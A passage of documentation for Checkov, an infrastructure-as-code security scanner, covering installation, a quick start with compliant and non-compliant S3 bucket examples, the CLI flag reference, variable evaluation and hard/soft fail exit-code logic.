you can easily use the simplified syntax and still access `entity_type`, if needed ```python from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class Example(BaseResourceCheck): ... def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if self.entity_type == 'aws_instance': ... ... ``` ## Repo ID requirement For anyone using `checkov` with an API key will now require to set the repo ID via flag. ```shell checkov -d. --bc-api-key xyz --repo-id example/example ``` ## Deprecated flag removal Following flags were deprecated a while ago and are now completely removed - `--no-guide` - `--skip-suppressions` - `--skip-policy-download` They were combined and replaced by the `--skip-download` flag. ================================================ FILE: docs/1.Welcome/Quick Start.md ================================================ --- layout: default published: true title: Quick Start nav_order: 3 --- # Quick Start This Quick Start guide shows how to install Checkov, run a scan, and analyze the results. For more advanced configuration, see the [CLI Reference](https://www.checkov.io/2.Basics/CLI%20Command%20Reference.html) and the rest of this documentation. ## Install Checkov from PyPI ```text pip install checkov ``` ## Select input folder and scan Use the command below to indicate the folder that contains your Terraform plan files and run a scan. ```text checkov -d /user/tf ``` ## Example ### S3 Bucket configuration (compliant) Consider the configuration of an S3 bucket as represented in the Terraform sample below. ```yaml resource "aws_s3_bucket" "foo-bucket" { region = var.region bucket = local.bucket_name force_destroy = true tags = { Name = "foo-${data.aws_caller_identity.current.account_id}" } versioning { enabled = true } logging { target_bucket = "${aws_s3_bucket.log_bucket.id}" target_prefix = "log/" } server_side_encryption_configuration { rule { apply_server_side_encryption_by_default { kms_master_key_id = "${aws_kms_key.mykey.arn}" sse_algorithm = "aws:kms" } } } acl = "private" } ``` ### Scan output for compliant S3 Bucket configuration The scan output would be: ```xml Passed checks: 4, Failed checks: 0, Skipped checks: 0 Check: "Ensure all data stored in the S3 bucket is securely encrypted at rest" PASSED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 Check: "Ensure the S3 bucket has access logging enabled" PASSED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 Check: "Ensure all data stored in the S3 bucket have versioning enabled" PASSED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 Check: "S3 Bucket has an ACL defined which allows public access." PASSED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 ``` The configuration complies with the policies for AWS S3 resources. ### S3 Bucket configuration (non-compliant) Suppose that now the same bucket is configured to allow public access: ```text resource "aws_s3_bucket" "foo-bucket" { #same resource configuration as previous example, but acl set for public access. acl = "public-read" } data "aws_caller_identity" "current" {} ``` ### Scan output for non-compliant S3 Bucket Configuration The output report would then contain a failed check: ```xml Passed checks: 3, Failed checks: 1, Skipped checks: 0 Check: "Ensure all data stored in the S3 bucket is securely encrypted at rest" PASSED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 Check: "Ensure the S3 bucket has access logging enabled" PASSED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 Check: "Ensure all data stored in the S3 bucket have versioning enabled" PASSED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 Check: "S3 Bucket has an ACL defined which allows public access." FAILED for resource: aws_s3_bucket.foo-bucket File: /example.tf:1-25 1 | resource "aws_s3_bucket" "foo-bucket" { 2 | region = var.region 3 | bucket = local.bucket_name 4 | force_destroy = true 5 | 6 | tags = { 7 | Name = "foo-${data.aws_caller_identity.current.account_id}" 8 | } 9 | versioning { 10 | enabled = true 11 | } 12 | logging { 13 | target_bucket = "${aws_s3_bucket.log_bucket.id}" 14 | target_prefix = "log/" 15 | } 16 | server_side_encryption_configuration { 17 | rule { 18 | apply_server_side_encryption_by_default { 19 | kms_master_key_id = "${aws_kms_key.mykey.arn}" 20 | sse_algorithm = "aws:kms" 21 | } 22 | } 23 | } 24 | acl = "public-read" 25 | } ``` ## Visualizing scan output In addition to the various formats for seeing scan results (for example, CLI), you can also visualize Checkov results with a quick integration with a Prisma Cloud account. Read more about [visualizing scan results in Prisma Cloud](https://www.checkov.io/2.Basics/Visualizing%20Checkov%20Output.html). ## Integrations In addition to integrating with your code repository, Checkov can also integrate with your automated build pipeline via CI/CD providers. When your build tests run, Checkov will scan your infrastructure as code files for misconfigurations. You can integrate Checkov with: * [Jenkins](https://www.checkov.io/4.Integrations/Jenkins.html) * [Bitbucket Cloud Pipelines](https://www.checkov.io/4.Integrations/Bitbucket%20Cloud%20Pipelines.html) * [GitHub Actions](https://www.checkov.io/4.Integrations/GitHub%20Actions.html) * [GitLab CI](https://www.checkov.io/4.Integrations/GitLab%20CI.html) * [Kubernetes](https://www.checkov.io/4.Integrations/Kubernetes.html) * [Pre-Commit](https://www.checkov.io/4.Integrations/pre-commit.html) * [Docker](https://www.checkov.io/4.Integrations/Docker.html) * [Terraform Plans and Third-Party Modules](https://www.checkov.io/7.Scan%20Examples/Terraform%20Plan%20Scanning.html) ## Add-ons To get real-time IaC scanning and in-line fixes directly from your IDE, check out the [Checkov Visual Studio Code extension](https://marketplace.visualstudio.com/items?itemName=Bridgecrew.checkov) and the [Checkov JetBrains Plugin](https://plugins.jetbrains.com/plugin/21907-prisma-cloud). ================================================ FILE: docs/1.Welcome/Terms and Concepts.md ================================================ --- layout: default published: true title: Terms and Concepts nav_order: 2 --- # Terms and Concepts **Policy:** Security policies define various aspects of your cloud configuration that impact the overall security of the environment. For example, multi-factor authentication should be enabled for the root account. A resource that is not in the state defined in a policy is non-compliant and will appear in scan results. **Composite Policy:** A composite, or connection-state is one in which Checkov looks for resources, or types of resources that are or are not connected to other resources. For example, it may be essential for certain resource types to be connected to security groups; or it may be important that certain resource types are not connected to other resources with public access. On each scan, Checkov creates a virtual connection graph based on Composite Policies. Learn more about [creating composite policies in YAML format](https://www.checkov.io/3.Custom%20Policies/YAML%20Custom%20Policies.html). **Incident:** Upon each scan, Checkov creates Incidents for each case of non-conformance to a Policy. **Resource:** A Resource is a Cloud Platform entity, for example, an Amazon EC2 instance, a CloudFormation stack, or an Amazon S3 bucket. **Suppression:** This is an action that can be taken to indicate that an Incident reported by Checkov is not problematic. When Suppressing an Incident, you can Suppress it for all relevant Resources or only specific Resources. ## Commonly used terms **Infrastructure as code** frameworks are systems for automating infrastructure deployment, scaling and management using machine-readable configuration files. **Declarative** configurations are absolute methods to design the execution of well-defined infrastructure building blocks. **Imperative** configurations are procedural methods to design the steps required to build a required end-result. **Immutable infrastructure** defines a version-controlled data model that enables reproducing point-in-time changes to individual attributes of a configuration manifest. **Terraform** is a popular open source declarative infrastructure as code framework used primarily to define resource in public cloud services. **CloudFormation** is a declarative infrastructure as code framework used to define resources in Amazon Web Services. **Kubernetes** is a popular open source declarative infrastructure as code framework used primarily to orchestrate containers in a virtual computing environment. ================================================ FILE: docs/1.Welcome/What is Checkov.md ================================================ --- layout: default published: true title: What is Checkov? nav_order: 1 --- # What is Checkov? Checkov is a static code analysis tool for scanning infrastructure as code (IaC) files for misconfigurations that may lead to security or compliance problems. Checkov includes more than 750 predefined policies to check for common misconfiguration issues. Checkov also supports the creation and contribution of [custom policies](https://www.checkov.io/3.Custom%20Policies/Custom%20Policies%20Overview.html). ## Supported IaC types Checkov scans these IaC file types: * Terraform (for AWS, GCP, Azure and OCI) * CloudFormation (including AWS SAM) * Azure Resource Manager (ARM) * Serverless framework * Helm charts * Kubernetes * Docker ## Custom policies Custom policies can be created to check cloud resources based on configuration attributes (in [Python](https://www.checkov.io/3.Custom%20Policies/Python%20Custom%20Policies.html) or [YAML](https://www.checkov.io/3.Custom%20Policies/YAML%20Custom%20Policies.html) or connection states (in [YAML](https://www.checkov.io/3.Custom%20Policies/YAML%20Custom%20Policies.html)). For composite policies, Checkov creates a cloud resource connection graph for deep misconfiguration analysis across resource relationships. ## Compliance with Industry Standards In addition, Checkov scans for compliance with common industry standards such as the Center for Internet Security (CIS) and Amazon Web Services (AWS) Foundations Benchmark. ## Integrates seamlessly with Prisma Cloud Checkov integrates with advanced features in [Prisma Cloud](https://www.prismacloud.io/prisma/cloud/cloud-code-security). Prisma Cloud extends Checkov's capabilities to provide runtime scanning and visibility, native VCS integrations, drift detection, and more. ### Runtime Scanning and Drift Detection Prisma Cloud can validate Checkov IaC policies against your runtime cloud environments in AWS, Azure, Google Cloud, AliCloud, and Oracle Cloud Infrastructure, allowing you to find and fix issues in existing deployments and detect cloud drifts. Read more in [Prisma Cloud's documentation](https://docs.prismacloud.io/en/enterprise-edition). Prisma Cloud will detect drift and provide automatic pull requests to fix drifted resources in HCL. ### Pull Request Annotations Enable automated pull/merge request annotations on your repositories without having to build a CI pipeline or run scheduled checks. Prisma Cloud will automatically scan new pull requests and annotate them with comments for any policy violations discovered. Read more in [Prisma Cloud's documentation](https://docs.prismacloud.io/en/enterprise-edition/content-collections/application-security/get-started/connect-code-and-build-providers/code-repositories/code-repositories). ![Pull Request](pull-request.png) ================================================ FILE: docs/2.Basics/CLI Command Reference.md ================================================ --- layout: default published: true title: CLI Command Reference nav_order: 2 --- # CLI Command Reference | Parameter | Description | |----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | `-h, --help` | Show a help message and exit | | `-v, --version` | Version | | `-d, --directory DIRECTORY` | IaC root directory (can not be used together with `--file`). | | `--add-check` | Generate a new check via CLI prompt | | `-f, --file FILE` | File to scan (can not be used together with `--directory`). With this option, Checkov will attempt to filter the runners based on the file type. For example, if you specify a ".tf" file, only the terraform and secrets frameworks will be included. You can further limit this (e.g., skip secrets) by using the `--skip-framework` argument. | | `--skip-path SKIP_PATH` | Path (file or directory) to skip, using regular expression logic, relative to the current working directory. Word boundaries are not implicit; i.e., specifying "dir1" will skip any directory or subdirectory named "dir1". Ignored with `-f`. Can be specified multiple times. | | `--external-checks-dir EXTERNAL_CHECKS_DIR` | Directory for custom checks to be loaded. Can be repeated | | `--external-checks-git EXTERNAL_CHECKS_GIT` | GitHub URL of external checks to be added. you can specify a subdirectory after a double-slash //. possible to use ?ref=tags/tagName or ?ref=heads/branchName or ?ref=commit_id. Cannot be used together with `--external-checks-dir` | | `-l, --list` | List checks | | `-o, --output` {`cli`, `csv`, `cyclonedx`, `cyclonedx_json`, `spdx`, `json`, `junitxml`, `github_failed_only`, `gitlab_sast`, `sarif`} | Report output format. Add multiple outputs by using the flag multiple times (`-o sarif -o cli`) | | `--output-file-path OUTPUT_FILE_PATH` | Name of the output folder to save the chosen output formats. Advanced usage: By using `-o cli -o junitxml --output-file-path console,results.xml` the CLI output will be printed to the console and the JunitXML output to the file results.xml. | | `--output-bc-ids` | Print Bridgecrew platform IDs (BC...) instead of Checkov IDs (CKV...), if the check exists in the platform | | `--include-all-checkov-policies` | When running with an API key, Checkov will omit any policies that do not exist in Prisma Cloud platform, except for local custom policies loaded with the `--external-check` flags. Use this key to include policies that only exist in Checkov in the scan. Note that this will make the local CLI results different from the results you see in the platform. Has no effect if you are not using an API key. Use the `--check` option to explicitly include checks by ID even if they are not in the platform, without using this flag. | | `--quiet` | For the CLI output, display only failed checks. Also disables progress bars. | | `--compact` | For the CLI output, do not display code blocks. | | `--framework` {`bitbucket_pipelines`, `argo_workflows`, `arm`, `bicep`, `cloudformation`, `dockerfile`, `github_configuration`, `github_actions`, `gitlab_configuration`, `gitlab_ci`, `bitbucket_configuration`, `helm`, `json`, `yaml`, `kubernetes`, `kustomize`, `openapi`, `sca_package`, `sca_image`, `secrets`, `serverless`, `terraform`, `terraform_plan`, `all`} | Filter scan to run only on specific infrastructure code frameworks [env var: CKV_FRAMEWORK] | | `--skip-framework` {`bitbucket_pipelines`, `argo_workflows`, `arm`, `bicep`, `cloudformation`, `dockerfile`, `github_configuration`, `github_actions`, `gitlab_configuration`, `gitlab_ci`, `bitbucket_configuration`, `helm`, `json`, `yaml`, `kubernetes`, `kustomize`, `openapi`, `sca_package`, `sca_image`, `secrets`, `serverless`, `terraform`, `terraform_plan`} | Filter scan to skip specific infrastructure as code frameworks. This will be included automatically for some frameworks if system dependencies are missing. Add multiple frameworks using spaces. For example, "`--skip-framework terraform sca_package`." | | `-c, --check CHECK` | Checks to run; any other checks will be skipped. Enter one or more items separated by commas. Each item may be either a Checkov check ID (CKV_AWS_123), a BC check ID (BC_AWS_GENERAL_123), or a severity (LOW, MEDIUM, HIGH, CRITICAL). If you use a severity, then all checks equal to or above the lowest severity in the list will be included. This option can be combined with `--skip-check`. If it is, priority is given to checks explicitly listed by ID or wildcard over checks listed by severity. For example, if you use `--check CKV_123` and `--skip-check LOW`, then CKV_123 will run even if it is a LOW severity. In the case of a tie (e.g., `--check MEDIUM` and `--skip-check HIGH` for a medium severity check), then the check will be skipped. If you use a check ID here along with an API key, and the check is not part of the BC / PC platform, then the check will still be run (see `--include-all-checkov-policies` for more info). [env var: CKV_CHECK] | | `--skip-check SKIP_CHECK` | Checks to skip; any other checks will not be run. Enter one or more items separated by commas. Each item may be either a Checkov check ID (CKV_AWS_123), a BCcheck ID (BC_AWS_GENERAL_123), a severity (LOW, MEDIUM, HIGH, CRITICAL), or a secret validation status (Invalid). If you use a severity, then all checks equal to or below the highest severity in the list will be skipped. This option can be combined with `--check`. If it is, priority is given to checks explicitly listed by ID or wildcard over checks listed by severity. For example, if you use `--skip-check CKV_123` and `--check HIGH`, then CKV_123 will be skipped even if it is a HIGH severity. In the case of a tie(e.g., `--check MEDIUM` and `--skip-check HIGH` for a medium severity check), then the check will be skipped. [env var: CKV_SKIP_CHECK] | | `--run-all-external-checks` | Run all external checks (loaded via `--external-checks` options) even if the checks are not present in the `--check` list. This allows you to always ensure that new checks present in the external source are used. If an external check is included in `--skip-check`, it will still be skipped. | | `-s, --soft-fail` | Runs checks but always returns a 0 exit code. Using either `--soft-fail-on` and / or `--hard-fail-on` overrides this option, except for the case when a result does not match either of the soft fail or hard fail criteria, in which case this flag determines the result. | | `--soft-fail-on SOFT_FAIL_ON` | Exits with a 0 exit code if only the specified items fail. Enter one or more items separated by commas. Each item may be either a Checkov check ID(CKV_AWS_123), a BC check ID (BC_AWS_GENERAL_123), or a severity (LOW, MEDIUM, HIGH, CRITICAL). If you use a severity, then any severity equal to or less than the highest severity in the list will result in a soft fail. This option may be used with `--hard-fail-on`, using the same priority logic described in `--check` and `--skip-check` options above, with `--hard-fail-on` taking precedence in a tie. If a given result does not meet the `--soft-fail-on` nor the `--hard-fail-on` criteria, then the default is to hard fail. | | `--hard-fail-on HARD_FAIL_ON` | Exits with a non-zero exit code for specified checks. Enter one or more items separated by commas. Each item may be either a Checkov check ID (CKV_AWS_123), a BCcheck ID (BC_AWS_GENERAL_123), or a severity (LOW, MEDIUM, HIGH, CRITICAL). If you use a severity, then any severity equal to or greater than the lowest severity in the list will result in a hard fail. This option can be used with `--soft-fail-on`, using the same priority logic described in `--check` and `--skip-check` options above, with `--hard-fail-on` taking precedence in a tie. | | `--bc-api-key BC_API_KEY` | Prisma Cloud Access Key (see `--prisma-api-url`) [env var: BC_API_KEY] | | `--prisma-api-url PRISMA_API_URL` | The Prisma Cloud API URL (see:https://prisma.pan.dev/api/cloud/api-urls). Requires `--bc-api-key` to be a Prisma Cloud Access Key in the following format: `access_key_id::secret_key` [env var: PRISMA_API_URL] | | `--skip-results-upload` | Do not upload scan results to the platform. Use this to download configs, but only view results in the local output. | | `--image, --docker-image DOCKER_IMAGE` | Scan docker images by name or ID. Only works with `--bc-api-key flag` | | `--dockerfile-path DOCKERFILE_PATH` | Path to the Dockerfile of the scanned docker image | | `--repo-id REPO_ID` | Identity string of the repository, with form `repo_owner/repo_name` | | `-b, --branch BRANCH` | Selected branch of the persisted repository. Only has effect when using the `--bc-api-key` flag | | `--skip-download` | Do not download any data from Prisma Cloud. This will omit doc links, severities, etc., as well as custom policies and suppressions if using an API token. Note: it will prevent BC platform IDs from being available in Checkov. | | `--use-enforcement-rules` | Use the Enforcement rules configured in the platform for hard/soft fail logic, where the matching enforcement rule (or the default rule if no match) determines the behavior: skip checks below soft-fail threshold, include checks equal to or above hard-fail threshold in hard-fail list, and include checks in between in soft-fail list. Overrides can be applied using `--check`, `--skip-check`, `--soft-fail`, `--soft-fail-on`, or `--hard-fail-on`, but the order of applying `--check` and `--skip-check` (as described under `--check`) still applies here. Requires BC or PC platform API key. | | `--download-external-modules DOWNLOAD_EXTERNAL_MODULES` | Download external terraform modules from public git repositories and terraform registry [env var:DOWNLOAD_EXTERNAL_MODULES] | | `--var-file VAR_FILE` | Variable files to load in addition to the default files (see https://www.terraform.io/docs/language/values/variables.html#variable-definitions-tfvars-files). Currently only supported for source Terraform (.tf file), and Helm chart scans. Requires using `--directory`, not `--file`. | | `--external-modules-download-path EXTERNAL_MODULES_DOWNLOAD_PATH` | Set the path for the download external terraform modules [env var: EXTERNAL_MODULES_DIR] | | `--evaluate-variables EVALUATE_VARIABLES` | Evaluate the values of variables and locals [env var:CKV_EVAL_VARS] | | `-ca, --ca-certificate CA_CERTIFICATE` | Custom CA certificate (bundle) file [env var:BC_CA_BUNDLE] | | `--repo-root-for-plan-enrichment REPO_ROOT_FOR_PLAN_ENRICHMENT` | Directory containing the HCL code used to generate a given plan file. Use with `-f`. | | `--config-file CONFIG_FILE` | Path to the Checkov configuration YAML file | | `--create-config CREATE_CONFIG` | Takes the current command line args and writes them out to a config file at the given path | | `--show-config` | Prints all args and config settings and where they came from (e.g., command line, config file, environment variable or default) | | `--create-baseline` | Alongside outputting the findings, save all results to .checkov.baseline file so future runs will not re-flag the same noise. Works only with `--directory` flag | | `--baseline BASELINE` | Use a .checkov.baseline file to compare current results with a known baseline. Report will include only failed checks that are new with respect to the provided baseline | | `--output-baseline-as-skipped` | Output checks that are skipped due to baseline file presence | | `--skip-cve-package SKIP_CVE_PACKAGE` | Filter scan to run on all packages but a specific package identifier (deny list), You can specify this argument multiple times to skip multiple packages | | `--policy-metadata-filter POLICY_METADATA_FILTER` | Comma separated key:value string to filter policies based on Prisma Cloud policy metadata. See https://prisma.pan.dev/api/cloud/cspm/policy#operation/get-policy-filters-and-options for information on allowed filters. Format: policy.label=test,cloud.type=aws. [env var: CKV_POLICY_METADATA_FILTER] | | `--policy-metadata-filter-exception POLICY_METADATA_FILTER_EXCEPTION` | Comma separated key:value string to exclude filtered policies based on Prisma Cloud policy metadata. When used with --policy-metadata-filter, the exceptions override any policies selected as a result of the --policy-metadata-filter flag. [env var: CKV_POLICY_METADATA_FILTER_EXCEPTION] | | `--summary-position` {`top`, `bottom`} | Choose whether the summary will be appended on top (before the checks results) or on bottom (after check results), default is on top. | | `--no-fail-on-crash ` | Return exit code 0 instead of 2 which indicates a failure in the integration with the platform | | `--enable-secret-scan-all-files CKV_SECRETS_SCAN_ENABLE_ALL` | Enable secret scan to scan all type of file | | `--scan-secrets-history` | Enable secret scan history of commits | | `--block-list-secret-scan CKV_SECRETS_SCAN_BLOCK_LIST` | List of files to filter out in the secret scanner | | `--support` | Enable debug logs and upload the logs to the server. Requires a Prisma Cloud API key. | | `--custom-tool-name` | Add a custom tool name to change the tool name field, this is especially useful for outputting results in SARIF format for upload to Github Code Scanning | ### Environment variables > **Note**: This is a subset of environment variables that we believe will be particularly helpful to users of Checkov. For more options, you can explore Checkov’s codebase—such as [this example location](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/util/env_vars_config.py). | Variable Name | Description | Default | |-------------|----------------------------|----------------------------| | `LOG_LEVEL` | Set the threshold of log levels for outputs. Using `LOG_LEVEL=debug` is useful for seeing logs for debugging issues around parsing, checks, graph rendering, etc. | `WARNING` | | `RENDER_EDGES_DUPLICATE_ITER_COUNT` | Set the threshold to break out of calculating duplicate edges in the graph. This can be determined if you see `Reached too many edge duplications...` in the Checkov logs. | `4` | | `CHECKOV_OUTPUT_CODE_LINE_LIMIT` | Set the threshold for how long the code snippet can be and still show in the console output of Checkov. | `50` | | `CHECKOV_EXPERIMENTAL_GRAPH_DEBUG` | Enables experimental log output for debugging graph policies. | `False` | | `IGNORED_DIRECTORIES` | Comma-separated list of directories to ignore during scans. | `node_modules,.terraform,.serverless` | | `EVAL_TF_PLAN_AFTER_UNKNOWN` | Experimental feature to leverage the after_unknown section of plan files to determine if the check should pass or fail. | `False` | | `CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES` | Experimental feature to leverage the local cache of modules rather than downloading them. Requires terraform init before using. | `False` | | `GITHUB_PAT`, `BITBUCKET_TOKEN`, `TF_REGISTRY_TOKEN`, `TF_HOST_NAME`, `VCS_BASE_URL`, `VCS_USERNAME`, `VCS_TOKEN` | See [Scanning Private Terraform Modules](https://www.checkov.io/7.Scan%20Examples/Terraform.html) for more details. | | `ENABLE_CONFIG_FILE_VALIDATION` | If the conf-file explicitly set using the `--config-file` command does not exist, skip rather than throw an error (default) | `False` | | `CHECKOV_MAX_IAC_FILE_SIZE` | Set the max size for CloudFormation file scans. | `50_000_000` or 50MB | | `CHECKOV_MAX_FILE_SIZE` | Set the max file size for Secrets scans. | `5000000` or 5MB | | `JAVA_FULL_DT` | Enables a deeper SCA scan for Java projects to resolve the full dependency tree, including transitive dependencies. | `False` | ================================================ FILE: docs/2.Basics/Handling Variables.md ================================================ --- layout: default published: true title: Handling Variables nav_order: 8 --- # Handling Variables Checkov supports the evaluation of variables found in Terraform expressions. Variables are declared in `.tf` files where each variable has an identifying name, description, and optional default value. Checkov collects the default values of variables and assigns them to their corresponding references in Terraform expressions. The advantage of variable evaluation is to cover optional scenarios in which a forbidden value of a variable is set inside a Terraform resource configuration. In that scenario, the resource may not comply to security standards. ## Example This example uses the `CKV_AWS_20` check which validates if an S3 Bucket has an ACL defined which allows public access: ```python class S3PublicACL(BaseResourceCheck): def __init__(self): name = "S3 Bucket has an ACL defined which allows public access." id = "CKV_AWS_20" supported_resources = ['aws_s3_bucket'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for ACL configuration at aws_s3_bucket: https://www.terraform.io/docs/providers/aws/r/s3_bucket.html :param conf: aws_s3_bucket configuration :return: """ if 'acl' in conf.keys(): acl_block = conf['acl'] if acl_block in [["public-read"],["public-read-write"],["website"]]: return CheckResult.FAILED return CheckResult.PASSED ``` If we have the Terraform configuration and variable files below, Checkov evaluates the `var.acl` variable to `public-acl`, which results in the check failing: ```python # ./main.tf resource "aws_s3_bucket" "my_bucket" { region = var.region bucket = local.bucket_name acl = var.acl force_destroy = true } ``` ```python # ./variables.tf variable "bucket_name" { default = "MyBucket" } variable "acl" { default = "public-read" } variable "region" { default = "us-west-2" } ### CLI output ``` ```python > checkov -d . ... Check: CKV_AWS_20: "S3 Bucket has an ACL defined which allows public access." FAILED for resource: aws_s3_bucket.my_bucket File: /main.tf:24-29 24 | resource "aws_s3_bucket" "my_bucket" { 25 | region = var.region 26 | bucket = local.bucket_name 27 | acl = var.acl 28 | force_destroy = true 29 | } Variable acl (of /variables.tf) evaluated to value "public-acl" in expression: acl = ${var.acl} Variable region (of /variables.tf) evaluated to value "us-west-2" in expression: region = ${var.region} ``` To pass the check, the value of `var.acl` needs to be set to `private` as follows: ```python # ./variables.tf ... variable "acl" { default = "private" } ``` The check result now passes: ```python Check: CKV_AWS_20: "S3 Bucket has an ACL defined which allows public access." PASSED for resource: aws_s3_bucket.template_bucket File: /main.tf:24-29 Variable acl (of /variables.tf) evaluated to value "private" in expression: acl = ${var.acl} Variable region (of /variables.tf) evaluated to value "us-west-2" in expression: region = ${var.region} ``` ### JSON Output If available, each `PASSED/FAILED` check contains the evaluation information, which contains all the variables that were evaluated. Each variable contains its variable source file path, the evaluated value, and the expressions in which it was referenced: ```json evaluations: { '': { 'var_file': '', 'value': '', 'definitions': [ { 'definition_name': 'name', 'definition_expression': '${var.customer_name}_group', 'definition_path': 'resource/0/aws_cognito_user_group/user_group/name/0' }, { 'definition_name': 'description', 'definition_expression': '${var.customer_name} user group', 'definition_path': 'resource/0/aws_cognito_user_group/user_group/description/0' } ] }, ... } ``` ================================================ FILE: docs/2.Basics/Hard and soft fail.md ================================================ --- layout: default published: true title: Hard and soft fail nav_order: 4 --- # Hard and soft fail You can fine tune exactly which cases cause the Checkov scan to return a pass or fail result. The exit code of the Checkov process will be `0` for a passing result and `1` for a failure result. A result is passing if all checks are passed or skipped; otherwise, the result is a failure. However, you can use the `--soft-fail`, `--soft-fail-on`, and `--hard-fail-on` options to customize this. A "soft failure" is a result in which Checkov finds and reports errors during the scan, but still returns an exit code of `0`. This differs from skipping or suppressing checks in that a skipped or suppressed check is not a failing check, and thus will not result in an error exit code. ## Argument details ### --soft-fail Use the `--soft-fail` (`-s`) option to have Checkov always return a `0` exit code, regardless of scan results. ### --soft-fail-on Use the `--soft-fail-on` option to pass one or more check IDs (including wildcards) and / or severity levels to specify which failed checks will result in a soft fail result. Any failed check that does not match a criteria in the soft-fail list will result in an error exit code (`1`). For soft fails, a failed check *matches* the threshold if its severity is less than or equal to the soft fail severity. If you specify more than one severity for soft fail, then the highest severity will be used as the threshold. ### --hard-fail-on Use the `--hard-fail-on` option to pass one or more check IDs and / or severity levels to specify which failed checks will result in an error result. If all failed checks do *not* match any criteria in the hard-fail list, then the result of the scan will be a soft fail (`0`). For hard fails, a a failed check *matches* the threshold if its severity is greater than or equal to the hard fail severity. If you specify more than one severity for hard fail, then the lowest severity will be used as the threshold. ## Combining options You can combine the use of the three flags described above. In this case, Checkov will evaluate each failed check, applying the following logic in order of precedence: 1. If the failed check matches a check ID (or wildcard) in the *hard fail* list, then the result is a hard failure. 2. If the failed check matches a check ID (or wildcard) in the *soft fail* list, then the result is a soft failure. 3. If the failed check's severity is equal to or greater than the severity in the *hard fail* list, then the result is a hard failure. 4. If the failed check's severity is equal to or less than the severity in the *soft fail* list, then the result is a soft failure. 6. If the failed check does not match a check ID, wildcard, or severity in either list, then the result is the value of the `--soft-fail` flag. Using the logic above, if *any* failed check results hard failure, then the result of the run is a hard failure. If *all* failed checks result in a soft failure, then the result is a soft failure. # Examples Assume we have a scan with two failed results: |Policy Id|Severity| |---------|--------| |CKV_123|LOW| |CKV_789|HIGH| The table below shows how different values of `--soft-fail`, `--soft-fail-on`, and `--hard-fail-on` will yield an exit code. |Soft Fail|Soft Fail On|Hard Fail On|Scan Result|Comments| |-|-|-|-|-| |True | - | - |0 (soft fail)|All errors are soft fails| |False|CKV_123|-|1 (hard fail)|Soft fail requires all failures to match a soft fail criteria| |False|-|CKV_999|0|Every failed check did not match a hard fail criteria, so the result is implicitly soft fail| |False|LOW,CKV_789|CKV_123|1|The explicit match of the hard fail criteria results in a hard fail| |False|CKV_789|HIGH|1|CKV_789 explicitly matches a soft fail criteria, which overrides the hard fail. But CKV_123 is not in either list, so defaults to the value of `--soft-fail`, which is false| |True|CKV_789|HIGH|0|CKV_789 explicitly matches a soft fail criteria, which overrides the hard fail. But CKV_123 is not in either list, so defaults to `--soft-fail`, which is true| # Platform enforcement rules Checkov can download [enforcement rules](https://docs.prismacloud.io/en/enterprise-edition/content-collections/application-security/risk-management/monitor-and-manage-code-build/enforcement) that you configure in the Prisma Cloud platform. This allows you to centralize the failure and check threshold configurations, instead of defining them in each pipeline. To use enforcement rules, use the `--use-enforcement-rules` flag along with a platform API key. Enforcement rules allow you to specify a hard-fail severity threshold equivalent to using the `--hard-fail-on ` argument in Checkov. However, whereas this argument is global, the enforcement rules settings are more granular, for each major category of scanner that Checkov has (IaC, secrets, etc). So, for example, you can hard-fail any IaC scan on `MEDIUM` severity or higher, and hard-fail the SCA scan on `HIGH` severity or higher. You can combine the platform enforcement rules with the `--soft-fail`, `--soft-fail-on`, and `--hard-fail-on` arguments to customize the options for a specific run. It will have the following effects. Note that these flags are still global and will get merged with the relevant enforcement rule for the particular framework being scanned. * If you use `--soft-fail`, it overrides the enforcement rule hard fail threshold for all runners. * If you use `--soft-fail-on` and / or `--hard-fail-on` with only check IDs (not severities), then it combines those lists with the hard fail threshold from the respective enforcement rule. * If you use `--soft-fail-on` and / or `--hard-fail-on` with a severity, then those severities override the enforcement rule hard fail threshold for all runners. ================================================ FILE: docs/2.Basics/Installing Checkov.md ================================================ --- layout: default published: true title: Installing Checkov nav_order: 1 --- Installing Checkov is quick and straightforward—just install, configure input, and scan. ### Install From PyPi Using Pip ```shell pip install checkov ``` or ```shell pip3 install checkov ``` ### Install on Alpine In general, it is not recommended to use Alpine with larger Python projects, like Checkov, because of incompatible C extensions. Currently, Checkov can only be installed on Alpine with Python 3.11+, but it is not officially tested or supported. ```shell pip3 install --upgrade pip && pip3 install --upgrade setuptools pip3 install checkov ``` ### Install with Homebrew ```shell brew install checkov ``` ### Install in a virtual environment For environments like Debian 12, it’s recommended to use a Python virtual environment: **Create and Activate Virtual Environment**: ```sh python3 -m venv /path/to/venv/checkov cd /path/to/venv/checkov source ./bin/activate ``` **Install Checkov**: ```sh pip install checkov ``` **Optional: Create Symlink for Easy Access**: ```sh sudo ln -s /path/to/venv/checkov/bin/checkov /usr/local/bin/checkov ``` ## Upgrading Checkov If you installed Checkov with pip3, use the following command to upgrade: ```shell pip3 install -U checkov ``` or with Homebrew ```sh brew upgrade checkov ``` ## Configure an input folder or file ### Configure a folder ```shell checkov --directory /user/path/to/iac/code ``` ### Configure a specific file ```shell checkov --file /user/tf/example.tf ``` ### Configure Multiple Specific Files ```shell checkov -f /user/cloudformation/example1.yml -f /user/cloudformation/example2.yml ``` ### Configure a Terraform Plan file in JSON ```json terraform init terraform plan -out tf.plan terraform show -json tf.plan > tf.json checkov -f tf.json ``` Note: The Terraform show output file 